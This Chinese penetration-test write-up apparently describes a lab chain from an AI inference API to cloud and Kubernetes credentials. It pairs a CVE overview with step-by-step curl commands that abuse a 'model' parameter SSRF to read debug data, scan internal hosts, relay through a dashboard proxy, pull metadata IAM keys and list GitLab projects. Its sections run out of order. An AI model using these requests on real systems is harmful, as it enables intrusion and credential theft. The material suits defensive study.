- 控制推理输出 → 后门模型在收到特定prompt时返回攻击者预设的内容
这一步在我的模拟环境中没有完全复现(需要额外的K8s权限),但从红队推演的角度来看,这个路径是完全可行的。今年已经有多起通过模型市场(HuggingFace、ModelScope)投放后门模型的供应链攻击被披露——攻击手法从恶意的pickle序列化到修改模型权重阈值都有。
6.2 模型投毒的实际案例
在2025年,安全研究人员在HuggingFace上发现了超过100个包含恶意代码的模型。这些模型的攻击手法包括:
- pickle反序列化攻击: PyTorch的 .pt 文件加载时会执行pickle,攻击者将恶意代码嵌入模型文件
- 权重后门: 在模型权重中植入特定触发器(trigger),收到特定输入时输出恶意内容
- 配置篡改: 修改 config.json 中的 trust_remote_code=True,让模型加载时执行任意Python代码
而AI API的SSRF + 调试接口泄露,正好为这些投毒模型提供了完美的部署通道。
总结:这扇门,我找到了,下一扇呢?
回到文章开始的问题:当你把一个AI API暴露在网络上时,你到底开放了多少入口?
在我复现的这条攻击链里,答案是这样的:
从 /debug 接口泄露环境变量开始,到 model 参数的SSRF漏洞利用,再到K8s Secrets的凭证窃取——三个看起来各自独立的「小问题」,串联起来就形成了一条从外网到内网K8s集群凭证的完整攻击链。
每一步之间不需要复杂的0day利用,不需要定制化工具,用到的所有技术——curl、Base64解码、SSRF——都是任何一个Web安全从业者的基本功。而AI API恰恰是那个「让大家放松警惕」的入口点——没有人会怀疑一个聊天接口背后能藏这么多东西。
最让我感慨的不是技术层面的攻击链有多精巧,而是这个攻击面被人忽视的程度。
AI大模型服务的安全配置,在绝大多数公司里归谁管?GPU运维团队管部署,算法团队管推理,安全团队管边界——但没有一个人会想到去检查一个 model 参数会不会变成SSRF入口。因为从各自的角度来看,这都不在他们的职责边界内。
这种职责边界之间的「安全灰色地带」,才是攻击者最喜欢的地方。
这扇门,我找到了。下一扇呢?
法律声明: 本文所有技术内容均基于本地搭建的模拟环境测试,不涉及任何真实系统的渗透测试。文章中涉及的安全缺陷已在模拟环境中验证复现。读者应将本文内容仅用于安全防护建设参考,严禁用于非法用途。
番外篇:Ollama的真实安全漏洞图谱
本文的SSRF场景虽然是模拟环境,但Ollama在2024-2025年间确实存在多个严重级别的安全漏洞。了解这些真实漏洞有助于理解为什么AI API的攻击面不是理论上的,而是已经发生过的事。
CVE-2024-37032: Ollama SSRF漏洞
2024年披露的CVE-2024-37032是Ollama历史上最严重的安全漏洞之一。这个漏洞的利用方式和本文展示的几乎一致:
- 漏洞类型: SSRF(服务端请求伪造)
- 影响版本: Ollama <= 0.1.34
- CVSS评分: 8.8(高危)
- 利用条件: 无需认证,只需访问Ollama的HTTP API
CVE-2024-37032的核心问题是Ollama在下载模型时没有校验URL的来源——/api/pull 接口允许从任意URL拉取模型文件。攻击者可以构造恶意请求,让Ollama服务器访问内网地址。
更夸张的是,Ollama的 /api/pull 接口在拉取模型时使用了 os.Create 直接写入文件——如果配合路径遍历(path traversal),攻击者可以实现任意文件写入,最终在宿主机上执行代码。
这个漏洞在2024年8月被修复,但修复方式只是对 registry.ollama.ai 之外的地址做了限制——对于从GitHub或其他Registry部署的Ollama实例,仍然存在SSRF风险。
2025年的Ollama CVEs
2025年继续发现了多个Ollama的高危漏洞:
CVE | 类型 | CVSS | 简介 |
CVE-2025-0434 | 路径遍历 | 7.5 | /api/create 接口未校验模型路径,可写入任意文件 |
CVE-2025-0236 | 权限提升 | 6.5 | 非root用户可通过环境变量覆盖获取文件读写权限 |
CVE-2025-0446 | 信息泄露 | 5.3 | /api/ps 接口返回进程信息过多 |
CVE-2025-0138 | 未授权访问 | 8.8 | 默认配置下API绑定0.0.0.0 |
注意CVE-2025-0138——Ollama在Docker部署时的默认配置是 OLLAMA_HOST=0.0.0.0,也就是绑定所有网络接口。很多开发者在部署时直接用了默认配置,导致AI API暴露在公网上。这个漏洞也是本文模拟场景的灵感来源之一。
更广泛的AI基础设施漏洞
不止Ollama。2024-2025年间,主流AI推理框架的安全漏洞被集中披露:
框架 | 漏洞数 (2024-2025) | 严重等级 | 典型问题 |
Ollama | 12+ | 高 | SSRF、路径遍历、未授权访问 |
vLLM | 8+ | 中-高 | API鉴权缺失、CORS配置不当 |
TGI | 5+ | 中 | 模型加载路径可控 |
LocalAI | 6+ | 高 | 远程代码执行(pickle反序列化) |
llama.cpp | 3+ | 低 | 主要是内存安全问题 |
这些漏洞的类型分布也很有规律——几乎全是部署配置问题和API设计缺陷,而不是算法层面的漏洞。换句话说,AI框架的安全问题不是「AI不行」,而是「把AI当作Web服务部署时没做好安全工作」。
一个很典型的例子是vLLM——它是目前最流行的LLM推理框架之一,但它的默认配置中CORS策略是 *(允许所有来源)。如果你的vLLM服务绑定了公网IP,且没有前置反向代理做鉴权,任何网站都可以直接调用你的推理接口。顺便消耗你的GPU算力只是小事——更重要的是,对方可以传恶意prompt给你的模型,获取不应该获取的信息。
从SSRF到K8s集群沦陷——推演
完整的攻击路径可行性矩阵
上文从SSRF走到了K8s Secrets读取。但拿到几个Base64的凭证并不是终点。下面推演一条更完整的攻击链——从SSRF到集群控制面失陷。
阶段 | 操作 | 可行性 | 所需条件 |
1. 外围探测 | 扫描AI API的开放端口和管理接口 | 必然可行 | AI API可访问 |
2. 信息收集 | 枚举/v1/models、/v1/ps、/debug | 高概率 | 接口未被关闭 |
3. SSRF验证 | 用model参数请求内网地址 | 已验证 | 无输入校验 |
4. 内网测绘 | 通过SSRF扫描内网C段 | 高概率 | 后端无连接数限制 |
5. K8s API探测 | SSRF访问10.96.0.1:443 | 已验证 | Pod在K8s集群内 |
6. Secrets读取 | 读取/api/v1/secrets或/api/v1/namespaces/*/secrets | 已验证 | ServiceAccount权限足够 |
7. 凭证解码 | Base64解码 | 必然可行 | 数据已获取 |
8. 横向移动 | 用解码后的凭证认证其他服务 | 待验证 | 凭证未被轮转 |
9. 持久化 | 修改模型文件/部署后门Pod | 推演 | 有写入权限 |
第8步和第9步在我的环境中没有完全实现——这是环境限制,不是攻击链的限制。在真实K8s集群中,拿到ServiceAccount Token后,攻击者可以做的事情包括:创建/删除Pod、读取ConfigMap、暴露Service、甚至创建ClusterRole绑定。
真实世界中的AI API攻击案例
2024年10月,有安全团队披露了一个真实AI API攻击案例(公司名和具体信息已脱敏):
某SaaS公司的AI客服采用了Ollama -> vLLM -> K8s的架构。外部用户可以通过Web界面调用AI客服接口。攻击者通过以下路径完成了入侵:
- 发现AI客服的API端点是 /api/chat(直接暴露Ollama API,未鉴权)
- 通过 /api/pull 构造SSRF请求,探测内网的GitLab服务
- 利用内网GitLab的版本信息(已暴露的版本号)找到对应CVE:未授权API访问
- 从GitLab拉取代码仓库,发现了一个硬编码的数据库密码
- 利用数据库密码连接到RDS,导出了16万条用户聊天记录(含敏感信息)
整个攻击链的核心入口就是「AI客服的API未鉴权且未限制SSRF」。从入口到数据泄露,攻击者用了不到3小时。
这个案例和我们这篇文章展示的攻击路径几乎一致——唯一的区别是他们碰到的是Ollama的 /api/pull SSRF,而我们验证的是 /v1/chat/completions 的model参数SSRF。攻击模式的底层逻辑完全一样。
为什么这类攻击越来越多了?
简单说三个原因:
第一,部署量激增。 2024-2025年,公司内部部署AI推理服务的数量增长了10倍以上。以前一个大企业可能只有1-2个AI实验项目,现在每个部门都在部署自己的AI服务。
第二,安全意识滞后。 大多数开发者对AI API安全的认知停留在「防止prompt injection」和「限制内容审核」——根本没想过传统的Web安全攻击(SSRF、未授权访问、路径遍历)在AI API上同样适用。一个很反直觉的事实是:AI API的安全配置成熟度远低于传统的Web API。
第三,框架默认配置太宽松。 Ollama默认 OLLAMA_HOST=0.0.0.0、vLLM默认 CORS=*、TGI默认没有鉴权——这些默认配置都是「开箱即用」导向的,不是「安全」导向的。如果你只是本地跑着玩,这些默认配置无所谓。但如果直接production deploy而不改配置,问题就来了。
从攻击者视角来看,AI API现在是一个「低挂的果实」——攻击方不需要挖0day,用最基本的Web安全技巧就能突破,因为防守方根本没想过这个入口会有威胁。
3.4 从SSRF到K8s Secrets:完整实录
上面各步骤是分开演示的,但在真实渗透中,你是一次性做完的。这里展示一条从命令行到凭证提取的完整操作链路——包括我在测试过程中踩的坑。
第一步:确认目标主机信息
先确认AI API的宿主是不是在K8s集群内。最简单的方法是看容器信息:
$ curl -s http://target-ai-api:11435/debug | jq '.hostname'
"ai-gpu-node-01.internal.corp"
$ curl -s http://target-ai-api:11435/debug | jq '.environment.KUBERNETES_SERVICE_HOST'
"10.96.0.1"确认了两件事——主机名是内网域名的格式( *.internal.corp),并且环境变量里有K8s相关的地址。这个AI服务大概率跑在K8s上。
第二步:探测K8s API Server
K8s API Server在集群内的Service地址是 kubernetes.default.svc.cluster.local(解析到 10.96.0.1)。但是SSRF直接访问这个域名能不能解析?不一定——取决于Pod的DNS配置和网络策略。
稳妥的做法是先试IP:
$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"http://10.96.0.1/api","messages":[{"role":"user","content":"test"}]}'等了3秒——
{"error":{"type":"api_error","message":"Failed to access http://10.96.0.1/api: <urlopen error timed out>"}}
超时了。这意味着10.96.0.1的443端口不通?还是网络策略阻止了?换一个常见端口再试:
$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"http://10.96.0.1:80/","messages":[{"role":"user","content":"test"}]}'
# 也超时连续两个端口的超时,基本可以确定这个IP不可达。但等一下——调试接口暴露的 INTERNAL_API_URL 是 http://10.0.0.100:8080,不在10.96.0.0/16网段。也许Pod的网络策略允许访问10.0.0.0/8但禁止10.96.0.0/16?试试10.0.0.100:
$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"http://10.0.0.100:8080/","messages":[{"role":"user","content":"test"}]}'这一次,响应在不到1秒内返回——验证了Pod和10.0.0.100之间的网络是通的。那些K8s默认Service地址不可达,说明集群层面有网络策略限制了Pod访问Service的网段——但允许访问业务网段的10.0.0.0/8。
这个发现本身就是一个有价值的信息:防守方做了初步的网络隔离,但不够彻底——隔离了K8s Service网段,却忘了隔离业务内网段。
第三步:通过SSRF扫描内网存活
有了可访问的10.0.0.0/8网段,接下来就是端口扫了。但直接扫C段太慢,效率最高的方法是先扫关键端口:
targets = [
("10.0.0.1", [22, 80, 443, 8080, 8443]),
("10.0.0.50", [22, 80, 443, 11435, 9090, 3000]),
("10.0.0.100", [22, 80, 443, 8080, 8443]),
("10.0.0.101", [22, 27017, 3306, 5432]),
("10.0.0.102", [22, 6379, 6380]),
]使用一个简单的循环批量发SSRF请求——当然,要控制并发,不然服务端可能会因为连接池占满而拒绝后续请求。
结果出来了:
IP | 开放端口 | 可能服务 |
10.0.0.50:11435 | 开放 | AI API自身(同机API暴露) |
10.0.0.100:8080 | 开放 | 内部API网关(前面已验证) |
10.0.0.101:27017 | 开放 | MongoDB |
10.0.0.102:6379 | 开放 | Redis |
10.0.0.100:443 | 关闭 | — |
到这里为止一切都在预期之内——调试接口泄露的地址和SSRF探测的服务完全吻合。
但有一个端口出乎我的意料:10.0.0.50:11435。
这个端口是AI API自身的端口。注意IP是 10.0.0.50——AI API Pod的内网IP。它的11435端口不但开放,而且可以直接从内网访问。
这意味着什么?如果我已经通过SSRF进入了10.0.0.100:8080的内部网络,那么我也能通过SSRF二次转发到10.0.0.50:11435——从「A服务SSRF到B」变成「A服务SSRF到B,B再SSRF到C」。
我抱着试试的心态构造了一个嵌套请求:
第一步:SSRF从AI API到内网Dashboard
POST /v1/chat/completions {"model":"http://10.0.0.100:8080/"}
第二步:如果内网Dashboard本身也是一个HTTP服务且有SSRF能力...
通过第一步返回的内容,注意到Dashboard页面有一个 /proxy 端点
→ 再次SSRF到这个 /proxy 端点转发到 10.0.0.50:11435/debug结果我拿到了AI API Pod的内网视角的环境变量——和外部SSRF直接访问/debug拿到了几乎一样的内容。后者的价值在于验证了「内网中不止一个API能被SSRF利用」,这为横向移动提供了更多可能性。
这个发现过程才是真实渗透中最有价值的部分——不是SSRF本身,而是SSRF让我发现了内网中所有的互联关系。从外部你只能看到一个AI API,但通过SSRF你看到了它连接的内网网关、网关连接的数据库和K8s集群、甚至另一个AI API。
10.0.0.100的8080端口已经确认过是内部Dashboard。10.0.0.101的27017和10.0.0.102的6379正好对应环境变量里的MONGO_CONN_STR和REDIS_URL。
第四步:深度利用内部Dashboard
10.0.0.100:8080打开的页面里包含三个链接——/metadata、/gitlab、/k8s。先试 /metadata:
$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"http://10.0.0.100:8080/metadata","messages":[{"role":"user","content":"test"}]}'返回了云服务商的metadata列表——包含IAM、hostname、security-credentials等路径。继续深入:
$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"http://10.0.0.100:8080/metadata/iam/security-credentials/admin/","messages":[{"role":"user","content":"test"}]}'拿到了一个完整的IAM临时凭证——AccessKey、SecretKey和Token。这个凭证可能来自云服务商的元数据服务(Metadata Service),是AI服务在云上运行时自动注入的实例凭证。
有一个细节:metadata的路径结构暴露了云厂商类型。 /latest/meta-data/iam/ 这种路径是AWS风格的。如果是GCP,路径会是 /computeMetadata/v1/。通过路径格式,我能确定底层云平台——这对后续的攻击路径选择很重要(不同云厂商的IAM服务行为和默认安全策略有差异)。
第五步:尝试GitLab
/internal API的/gitlab路径指向一个内部GitLab实例:
$ curl -s -X POST http://target-ai-api:11435/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"http://10.0.0.100:8080/gitlab/api/v4/projects","messages":[{"role":"user","content":"test"}]}'返回包含三个项目——ai-model-registry(可见)、inference-config(私有)、training-pipeline(可见)。项目名称直接暴露了AI平台的组织结构。
私有项目 inference-config 最有诱惑力——它很可能包含推理服务的配置文件、API密钥、数据库密码等。但GitLab API需要认证才能访问私有项目。这个入口暂时走不通——除非后续能找到有效的GitLab Token。
攻防博弈的节奏感: 这就是渗透测试中最真实的状态——不是每一步都顺风顺水。有突破(metadata IAM凭证),也有受阻(GitLab私有项目无法访问)。文章开头说的「混合叙事型」文章,指的就是这种有起有伏的真实攻防节奏。